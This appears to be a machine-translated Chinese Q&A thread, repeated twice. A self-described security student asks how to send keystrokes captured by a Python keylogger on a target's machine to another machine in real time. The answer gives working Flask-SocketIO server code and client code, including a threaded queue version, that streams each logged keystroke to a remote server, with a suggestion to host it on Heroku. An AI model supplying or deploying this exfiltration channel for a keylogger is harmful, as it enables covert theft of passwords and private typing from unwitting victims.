无线传输日志文件
Transfering log files wirelessly
我是一名网络安全学生,正在从事一个项目,该项目捕获击键并将它们保存到一个 .txt 文件(使用 python 构建的简单键盘记录器),该文件将存储在插入的 USB 闪存驱动器上目标的机器。然后必须将密钥数据从 USB 无线传输到另一台机器。我正在寻找传输此数据的最佳方式(最好是实时传输)。
任何提示将不胜感激。
提前致谢。
您可以使用套接字来做到这一点。下面的代码使用 python 服务器和客户端。服务器可以托管在 Heroku 或任何其他支持 python 服务器的网络托管服务上。如果您将其部署到托管服务,请查看他们的文档。您也可以只 运行 本地服务器(仅用于 testing/demonstration 目的)。
服务器:
from flask import Flask, render_template
from flask_socketio import SocketIO, emit
app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret!'
socketio = SocketIO(app)
@socketio.on('keylogger')
def test_connect(data):
print(data["keylogged"])
if __name__ == '__main__':
socketio.run(app)
客户端代码(将此添加到您的键盘记录器以发送每个按键):
from socketIO_client import SocketIO, LoggingNamespace
socketIO = SocketIO('localhost', 5000, LoggingNamespace) # Change 5000 to 443 if running on heroku, and change the localhost to the server url
socketIO.emit('keylogger', {"keylogged": "<key that code logged>"})
如果上面的代码客户端代码太慢,您可能需要使用 queue
和 threading
如下所示:
import queue
import threading
from socketIO_client import SocketIO, LoggingNamespace
socketIO = SocketIO('localhost', 5000, LoggingNamespace)
q = queue.Queue()
def background():
while True:
msg = q.get()
socketIO.emit("keylogger", {"keylogged": msg})
sockthread = threading.Thread(target=background)
sockthread.start()
<code that logs key, and when a key is detected, adds the key into the queue: `q.put(key)`>
在你 运行 下面的代码之前,服务器已经用 pip 安装了这些依赖项:
flask
flask-socketio
并且客户端使用 pip 安装了这些依赖项:
socketIO-client
我是一名网络安全学生,正在从事一个项目,该项目捕获击键并将它们保存到一个 .txt 文件(使用 python 构建的简单键盘记录器),该文件将存储在插入的 USB 闪存驱动器上目标的机器。然后必须将密钥数据从 USB 无线传输到另一台机器。我正在寻找传输此数据的最佳方式(最好是实时传输)。 任何提示将不胜感激。 提前致谢。
您可以使用套接字来做到这一点。下面的代码使用 python 服务器和客户端。服务器可以托管在 Heroku 或任何其他支持 python 服务器的网络托管服务上。如果您将其部署到托管服务,请查看他们的文档。您也可以只 运行 本地服务器(仅用于 testing/demonstration 目的)。
服务器:
from flask import Flask, render_template
from flask_socketio import SocketIO, emit
app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret!'
socketio = SocketIO(app)
@socketio.on('keylogger')
def test_connect(data):
print(data["keylogged"])
if __name__ == '__main__':
socketio.run(app)
客户端代码(将此添加到您的键盘记录器以发送每个按键):
from socketIO_client import SocketIO, LoggingNamespace
socketIO = SocketIO('localhost', 5000, LoggingNamespace) # Change 5000 to 443 if running on heroku, and change the localhost to the server url
socketIO.emit('keylogger', {"keylogged": "<key that code logged>"})
如果上面的代码客户端代码太慢,您可能需要使用 queue
和 threading
如下所示:
import queue
import threading
from socketIO_client import SocketIO, LoggingNamespace
socketIO = SocketIO('localhost', 5000, LoggingNamespace)
q = queue.Queue()
def background():
while True:
msg = q.get()
socketIO.emit("keylogger", {"keylogged": msg})
sockthread = threading.Thread(target=background)
sockthread.start()
<code that logs key, and when a key is detected, adds the key into the queue: `q.put(key)`>
在你 运行 下面的代码之前,服务器已经用 pip 安装了这些依赖项:
flask
flask-socketio
并且客户端使用 pip 安装了这些依赖项:
socketIO-client